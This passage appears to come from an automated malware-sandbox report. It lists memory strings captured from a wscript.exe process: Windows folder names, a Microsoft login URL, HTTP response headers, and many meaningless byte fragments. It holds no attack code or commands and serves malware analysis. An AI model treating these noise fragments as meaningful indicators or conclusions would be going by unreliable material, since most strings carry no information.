                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\windows\system32memstr_d5857a8a-7
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: mycomputerfoldermemstr_a703c701-a
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: common start menumemstr_b79f3908-6
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: https://login.live.comimemstr_428bbef2-e
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: content-typeapplication/jsonxmemstr_c2eebef4-0
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: transfer-encodingchunkedmemstr_45f02304-4
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: varyaccept-encodingmemstr_f81f9d7d-0
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: access-control-allow-origin*#memstr_ea062973-5
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: x-ratelimit-limit10000ememstr_499fb8d9-a
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: x-ratelimit-remaining9994memstr_54cac7ff-9
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: x-powered-byoctolusmemstr_18d457bc-6
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: x-content-type-optionsnosniff2memstr_ed4ffffd-c
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: x-content-type-optionsnosniff{memstr_e0fca49a-5
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: x-xss-protection1; mode=blockmemstr_3a41786e-0
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: cf-cache-statusdynamicmemstr_c7c2f23d-6
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: report-to{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=utccvfz9igex8ugulmyucbk%2fdo2exohao1lqoh0aaktkf2nxluaj9ydxt1927xi5qx8uvcex89hwistsu9wdwc4klzjx9ocqzuxsoh2iujajdqzsmkmmp4bc0vkjson38t6ya%2b%2bn"}],"group":"cf-nel","max_age":604800}2memstr_29b6b27d-9
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: nel{"success_fraction":0,"report_to":"cf-nel","max_age":604800}memstr_ff742ddd-2
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: <nel{"success_fraction":0,"report_to":"cf-nel","max_age":604800}memstr_2dbdaed9-1
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: cf-ray881c5a21bd068f4d-ordmemstr_ed6be1ee-2
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: alt-svch3=":443"; ma=86400memstr_46b3ac77-6
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: nqs[\memstr_86d80b66-b
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: jk$memstr_f38dcf7a-1
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: k-kmemstr_ddc8b3a3-6
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: k&kdfmemstr_7fe92d0e-2
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'k*kp'memstr_53d3d3d0-b
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: k+kmemstr_3a405f33-5
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: +k,k,xmemstr_f2ee5fb3-f
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: k,kmemstr_5a31fc7d-4
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: p.k3klmemstr_52ca87f7-a
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: cgj3kmemstr_3c0dcce0-c
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: t4kfk`memstr_d74d62e1-1
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 9k@kdfmemstr_8d01a20d-9
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: akdkx'9kekmemstr_0fa08bc6-0
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ekfktxmemstr_5114f392-0
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: jfk}klmemstr_263ff04e-0
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ikpkmemstr_bbd202f9-a
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: qkzkd@memstr_9deded22-5
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'ikzk(memstr_5bf6ad4c-6
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [k`kx@memstr_82fd308f-6
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'ik`kpmemstr_91b55890-6
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: akgkmemstr_00d8f450-a
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'ikgkmemstr_f93bb278-d
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: hkokdfmemstr_33eeeeba-8
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: pkrk$'hkskmemstr_3a70af83-a
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: sktkmemstr_a06ec33e-4
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: &iktkmemstr_47939549-5
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: wk|k ik|k$memstr_8568f131-0
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: n}kalmemstr_92f5444e-b
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: v~kflmemstr_3b8ec1ae-a
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: y~kflmemstr_ffba9501-8
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: kflmemstr_cfcf7b68-b
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: k)lmemstr_1d57c9d0-7
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: l"ldfmemstr_bb74250c-f
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: #l&lu'memstr_57eeddfd-a
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: l'lmemstr_f1680b3e-6
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'l(lmemstr_32d8fd90-1
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: (l)lmemstr_4a478861-2
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: l)l,memstr_9f92e52b-f
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: k*lmemstr_b7377c5b-2
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: +l7lmemstr_73348ee4-1
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 8l?ldfmemstr_83500dd1-e
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @lclw'8ldlmemstr_3d0e7042-2
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: dlelmemstr_c979cd32-5
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: &+lelmemstr_982db9d2-0
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: kelmemstr_40eb6b3e-7
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: wflolmemstr_d8a66a6b-4
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: dllnl<memstr_7f1d55f3-1
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: nolqlmemstr_a9e84369-0
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: rlylmemstr_8919fa28-a
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: zl^lmemstr_fe3eeb98-1
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'rl^lmemstr_43e30f1c-f
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: &rl`l memstr_d68ed7fb-1
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c~k`lmemstr_1c1719ad-f
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: glslmemstr_08bf1877-d
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: tl{ldfmemstr_da71538e-7
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: lw'tlmemstr_82235e5a-0
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: m(m memstr_a9f0e031-a
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: m"mdfmemstr_ff0899e6-6
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: #m&m{'memstr_b7afec9f-3
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: m'mmemstr_ee663be1-f
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'm(m`zmemstr_50ace15c-d
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: (m3mmemstr_d83cbe3e-f
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 4m7mmemstr_7bdfac5b-a
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 8m9mmemstr_72cf7483-0
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: '4m:mlmemstr_39964709-8
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: :m;mmemstr_bda3f9a2-e
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: &(m;mxmemstr_6326983a-4
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: p<mamlmemstr_14c4bf3a-0
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c(mammemstr_a5c7e546-2
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: tbmtmhmemstr_0d8d0710-7
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: gmnmdfmemstr_c6af875b-4
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: omrm|'gmsm@memstr_39864398-7
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: smtmmemstr_16b5534b-9
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: tmym,ememstr_8a35d82d-2
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [m^mmemstr_e74802c9-9
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: _m`mmemstr_f4bb12d6-e
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: '[mammemstr_7279ac2e-7
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ambmmemstr_85262ed8-e
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: (tmammemstr_9a8ad589-d
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: bmgmmemstr_068795dc-e
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: immmmemstr_2bb6440f-5
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: nmsm,ememstr_a640ab0d-4
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: &imtm4memstr_f03772ed-9
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: (bmtm memstr_f47d9650-4
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ctmtmmemstr_6ad0e6dc-b
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: pumzmlmemstr_e16c567f-f
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: cbmzmxmemstr_491280a7-9
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c8>g>`memstr_b7a7459b-9
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: m"p memstr_51c87456-9
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: n ndfmemstr_9ef5b5dc-7
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: !n$n~'memstr_04355aa9-2
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: n%nmemstr_3b4b8182-7
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %n&nmemstr_99acaf80-2
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: &n(n8[memstr_221751b5-9
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: n.nmemstr_b6325e30-9
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: )n.nc&n.n<memstr_3830f4b0-6
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: n/nmemstr_c2431dc6-c
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: m/nmemstr_e17ddf32-4
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 0n1nmemstr_3fc5d81d-f
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 2nbnl3memstr_824e1852-8
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: '0nbnmemstr_e4c8ef00-3
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: cnjndfmemstr_04fbbb95-4
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: knnnmemstr_30bd5a66-3
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'cnonmemstr_57d74d8b-a
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: onpnmemstr_001d2a4e-f
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: pnwndfmemstr_e08ea12c-3
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: xn[nmemstr_2d1f18d8-e
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'pn\nlmemstr_3e7d812e-2
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \n]nmemstr_75f9fccb-1
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ccn\n<memstr_8f8f560e-1
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: &0n]nmemstr_c58427c3-a
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: n]nmemstr_f1041d93-0
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ^n_nmemstr_ad77202f-c
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: `ndnmemstr_3d116d1d-3
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: '^ndnmemstr_bc3814d9-9
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: &^nfn@memstr_e5dc6d91-9
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c0nfnmemstr_9bfc776c-6
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: jnwnmemstr_c7b56e86-a
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: nsomemstr_f3ee092d-2
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: oodfmemstr_be9b8771-0
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: o ox\memstr_5358b412-5
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: o omemstr_dc9857c0-8
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: o"omemstr_67eab5fd-0
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: #o$o\memstr_78c2ca45-e
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %o*omemstr_dc089b9e-c
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: '#o*o4memstr_3b941111-0
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: +o,omemstr_2f0ddec2-8
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: -o9omemstr_ef6585ec-6
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: '+o9oxmemstr_a7662072-2
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: &#o:o\memstr_fb57ce1d-b
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: o:omemstr_256bc01e-0
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ;o<o\memstr_e5d6c506-3
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: =ogomemstr_9ed9589c-8
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ';ogomemstr_268ebe7b-b
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: horomemstr_6a3bb8f2-9
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: to[odfmemstr_13be9366-9
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \o^o6'to_olmemstr_5295fb35-d
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: _o`otjmemstr_917dc90b-a
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ho_o8memstr_23c98c0e-5
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: &;o`omemstr_b91e76fd-8
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c#o`omemstr_0b2ede7f-d
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: aobo\memstr_4cc1cf87-d
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: cohomemstr_2e7a2f18-8
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'aohomemstr_29ff176a-7
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: &aojo memstr_42d947be-0
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c;ojomemstr_2a5eb701-1
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: kolo\memstr_e61f48b1-d
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: noro(korotmemstr_167b7f79-7
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: caoro<memstr_b0e9b1f3-2
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: wso|omemstr_23ea06f2-5
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: dyo{omemstr_b3676f9c-c
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: n|o~omemstr_31397bfd-9
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: p!pmemstr_04c5fe37-e
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: m!pmemstr_39beb15b-4
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: g!p"pcmemstr_395a663b-9
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: p"pdmemstr_9ad24274-9
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @"p*pl{memstr_89ed91cb-b
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c\>"pxmemstr_384121d9-3
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: +p6pmemstr_1e56bd4f-2
